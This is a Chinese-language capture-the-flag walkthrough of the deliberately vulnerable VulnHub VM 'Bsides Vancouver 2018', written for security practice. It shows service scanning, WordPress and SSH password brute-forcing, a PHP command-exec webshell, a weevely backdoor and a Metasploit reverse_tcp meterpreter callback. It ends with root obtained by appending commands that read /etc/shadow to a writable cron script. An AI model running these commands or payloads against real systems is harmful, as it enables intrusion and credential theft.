Vulnhub Bsides Vancouver 2018
简介：
靶机下载URL: https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/#release
虚拟机需要使用Virtualbox 直接导入VM, 攻击机器使用kali linux 如果你为了方便可不使用桥接模式，直接设置VM和kali在同一IP即可。如果在环境中有太多的机器就不太好分辨目标IP。
0x001 信息收集
nmap -sn 192.168.2.1-254
#省略。。。。。
Nmap scan report for 192.168.2.117
也可以使用
nmap -A -T4 192.168.2.1/24找到目标进行详细的扫描
nmap -A -T4 192.168.2.117 #可使用-Pn不进行ping 可加-oN 写入一个文件方便查看
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.2.112
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
| 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
0x002 侦查
看到21可以匿名登录
ftp://192.168.2.117/
#查看
ftp://192.168.2.117/public/users.txt.bk
abatchy
john
mai
anne
doomguy
web服务
http://192.168.2.117/robots.txt
User-agent: *
Disallow: /backup_wordpress #知道了这个web程序是使用的wordpress 查看这个目录
查看以上web的URL我们发现 /backup_wordpress这个目录是一个已弃用的wordpress博客备份
0x003 破解文件和目录
使用dirb 进行web目录的爬取
dirb http://192.168.2.117/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jan 2 16:28:23 2019
URL_BASE: http://192.168.2.117/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.117/ ----
+ http://192.168.2.117/cgi-bin/ (CODE:403|SIZE:289)
+ http://192.168.2.117/index (CODE:200|SIZE:177)
+ http://192.168.2.117/index.html (CODE:200|SIZE:177)
+ http://192.168.2.117/robots (CODE:200|SIZE:43)
+ http://192.168.2.117/robots.txt (CODE:200|SIZE:43)
+ http://192.168.2.117/server-status (CODE:403|SIZE:294)0x004 wpscan
wpscan --url http://192.168.2.117//backup_wordpress/ --enumerate u
#省略信息 一大波
admin 和 john 是有效的用户 访问URL我们已经知道了有这两个用户存在
进后台尝试登录万能密码
http://192.168.2.117/backup_wordpress/wp-login.php
admin admin 123456之类的 若口令无效
跑字典 比较慢太浪费时间 burp比这个好使多了
wpscan --url http://192.168.2.117/backup_wordpress --passwords /root/password.txt --usernames /root/username.txt
john 密码 enigma 0x005 22 ssh端口登录
ftp提供一些用户名尝试登录看是否需要密钥
abatchy
john
mai
anne
doomguy
#只找到一个用户可以使用密码登录
ssh [email protected]
[email protected]'s password:
hydra -l anne -P /usr/share/wordlists/rockyou.txt 192.168.2.117 ssh #总是出错，换个字典试下
login: anne password: princess登录
ssh [email protected]
[email protected]'s password:
anne@bsides2018:~$ id
uid=1003(anne) gid=1003(anne) groups=1003(anne),27(sudo)
root@bsides2018:~# ls -ll
total 4
-rw-r--r-- 1 root root 248 Mar 5 2018 flag.txt
root@bsides2018:~# cat flag.txt
Congratulations!
If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!
There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?
@abatchy17
anne@bsides2018:~$ sudo -i
[sudo] password for anne: #可以获取root权限
root@bsides2018:~#
0x006 web入口
john有管理员权限 直接上传webshell Upload Plugin
";
$cmd = ($_REQUEST['cmd']);
exec($cmd, $results);
foreach( $results as $r )
{
echo $r."
";
}
echo "文件命名为update.php
上传文件后 提示无法安装
Appearance编辑 把代码写进去
还可使用https://github.com/n00py/WPForce
我们点击Media 看到上传的文件了 add添加一个webshell
#https://github.com/epinna/weevely3/wiki
weevely generate 123456 shell.php
Generated 'shell.php' with password '123456' of 749 byte size.上传文件 在media中看到我们上传的后门程序 直接点击查看路径
/backup_wordpress/wp-content/uploads/2019/01/shell.php链接即可
weevely http://192.168.2.117/backup_wordpress/wp-content/uploads/2019/01/shell.php 123456
www-data@bsides2018:/var/www/backup_wordpress/wp-content/uploads/2019/01 $ pwd
/var/www/backup_wordpress/wp-content/uploads/2019/01
www-data@bsides2018:/var/www/backup_wordpress/wp-content/uploads/2019/01 $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bsides2018:/var/www/backup_wordpress/wp-content/uploads/2019/01 $0x007 提取权限
www-data@bsides2018:/var/www/backup_wordpress $ ls -ll
total 184
-rw-r--r-- 1 www-data www-data 418 Sep 24 2013 index.php
-rw-r--r-- 1 www-data www-data 19935 Mar 5 2016 license.txt
-rw-r--r-- 1 www-data www-data 7358 Dec 6 2015 readme.html
-rw-r--r-- 1 www-data www-data 5032 Jan 27 2016 wp-activate.php
drwxr-xr-x 9 www-data www-data 4096 Apr 12 2016 wp-admin
-rw-r--r-- 1 www-data www-data 364 Dec 19 2015 wp-blog-header.php
-rw-r--r-- 1 www-data www-data 1476 Jan 30 2016 wp-comments-post.php
-rw-r--r-- 1 www-data www-data 2853 Dec 16 2015 wp-config-sample.php
-rwxr-xr-x 1 www-data www-data 2930 Mar 7 2018 wp-config.php
drwxr-xr-x 5 www-data www-data 4096 Jan 2 02:37 wp-content
-rw-r--r-- 1 www-data www-data 3286 May 24 2015 wp-cron.php
drwxr-xr-x 16 www-data www-data 12288 Apr 12 2016 wp-includes
-rw-r--r-- 1 www-data www-data 2380 Oct 24 2013 wp-links-opml.php
-rw-r--r-- 1 www-data www-data 3316 Nov 5 2015 wp-load.php
-rw-r--r-- 1 www-data www-data 33837 Mar 5 2016 wp-login.php
-rw-r--r-- 1 www-data www-data 7887 Oct 6 2015 wp-mail.php
-rw-r--r-- 1 www-data www-data 13106 Feb 17 2016 wp-settings.php
-rw-r--r-- 1 www-data www-data 28624 Jan 27 2016 wp-signup.php
-rw-r--r-- 1 www-data www-data 4035 Nov 30 2014 wp-trackback.php
-rw-r--r-- 1 www-data www-data 3061 Oct 2 2015 xmlrpc.php
查找密码
cat wp-config.php
/** The name of the database for WordPress */
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'john@localhost');
/** MySQL database password */
define('DB_PASSWORD', 'thiscannotbeit');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
连接数据库
:sql_console -user john -passwd wp -host localhost
Access denied for user 'john'@'localhost' (using password: YES)
#并不能链接到数据库费时费力 体力活
www-data@bsides2018:/var/www/backup_wordpress $ :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
lightdm:x:104:111:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:105:114::/nonexistent:/bin/false
avahi-autoipd:x:106:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:107:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:114:123::/home/saned:/bin/false
mysql:x:115:125:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:116:126:ftp daemon,,,:/srv/ftp:/bin/false
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
abatchy:x:1000:1000:abatchy,,,:/home/abatchy:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
mai:x:1002:1002:,,,:/home/mai:/bin/bash
anne:x:1003:1003:,,,:/home/anne:/bin/bash
doomguy:x:1004:1004:,,,:/home/doomguy:/bin/bash
0x008 msf
msfconsole -x "use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 192.168.2.112; set PORT 4444; run"weevely 运行Meterpreter会话
:backdoor_meterpreter -payload php/meterpreter/reverse_tcp -lhost 192.168.2.112
[-][meterpreter] Make sure the listener is running on another terminal as below
msfconsole -x "use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 192.168.2.112; set PORT 4444; run"
[*] Started reverse TCP handler on 192.168.2.112:4444
[*] Sending stage (38247 bytes) to 192.168.2.117
[*] Meterpreter session 1 opened (192.168.2.112:4444 -> 192.168.2.117:53213) at 2019-01-02 20:40:24 +0800
meterpreter > sysinfo
Computer : bsides2018
OS : Linux bsides2018 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686
Meterpreter : php/linux
0x009 LinEnum
git clone https://github.com/rebootuser/LinEnum.gitmeterpreter > cd /tmp
meterpreter > ls -ll
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
41777/rwxrwxrwx 4096 dir 2019-01-02 14:11:02 +0800 .ICE-unix
41777/rwxrwxrwx 4096 dir 2019-01-02 14:11:02 +0800 .X11-unix
40700/rwx------ 4096 dir 2019-01-02 14:11:01 +0800 pulse-PKdhtXMmr18n
meterpreter > pwd
/tmp
meterpreter > upload /root/LinEnum/LinEnum.sh
[*] uploading : /root/LinEnum/LinEnum.sh -> LinEnum.sh
[*] Uploaded -1.00 B of 44.51 KiB (-0.0%): /root/LinEnum/LinEnum.sh -> LinEnum.sh
[*] uploaded : /root/LinEnum/LinEnum.sh -> LinEnum.sh
ls
LinEnum.sh
pulse-PKdhtXMmr18n
bash ./LinEnum.sh > LinEnum.log
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/cleanup
#最后一行/usr/local/bin/cleanup表示每分钟运行一次
meterpreter > ls -l /usr/local/bin/cleanup
100777/rwxrwxrwx 64 fil 2018-03-04 08:13:53 +0800 /usr/local/bin/cleanup
meterpreter > cp /usr/local/bin/cleanup /tmp/cleanup.bak
meterpreter > shell
Process 19069 created.
Channel 9 created.
echo "cat /etc/shadow > /tmp/etc_shadow.log" >> /usr/local/bin/cleanup
cat /usr/local/bin/cleanup
#!/bin/sh
rm -rf /var/log/apache2/*# Clean those damn logs!!
cat /etc/shadow > /tmp/etc_shadow.log最多1分钟后，结果将显示在指定的文件中
cat /tmp/etc_shadow.log
root:!:17593:0:99999:7:::
daemon:*:16105:0:99999:7:::
bin:*:16105:0:99999:7:::
sys:*:16105:0:99999:7:::
sync:*:16105:0:99999:7:::
games:*:16105:0:99999:7:::
man:*:16105:0:99999:7:::
lp:*:16105:0:99999:7:::
mail:*:16105:0:99999:7:::
news:*:16105:0:99999:7:::
uucp:*:16105:0:99999:7:::
proxy:*:16105:0:99999:7:::
www-data:*:16105:0:99999:7:::
backup:*:16105:0:99999:7:::
。。。。。。。。。。。。。。0x010 Cron jobs
meterpreter > cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/cleanup
#
#替换清理脚本
meterpreter > cp /usr/local/bin/cleanup /tmp/cleanup.bak
meterpreter > cp shell.sh /usr/local/bin/cleanup稍等一下 我们就拿到root权限了
msf exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux root (0) @ bsides2018 192.168.2.112:1111 -> 192.168.2.117:35045 (192.168.2.117)
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4277 created.
Channel 0 created.
id
uid=0(root) gid=0(root) groups=0(root)
由于运行的脚本Cron jobs每分钟运行一次,每分钟都会启动一个新的Meterpreter shell,要把它停掉
meterpreter > mv /tmp/cleanup.bak /usr/local/bin/cleanup总结：
通过对此靶机的练习，学到了如果通过破解工具拿到root权限。在练习通过web作为入口拿到root权限，当然在真实的环境中，不会给出这么便捷的方式拿到root权限。练习靶机不但可以提高对工具的熟练程度，还可以练习不同的方式来获取shell和权限。知识的学习是不断累积的，还需继续练习学习原理。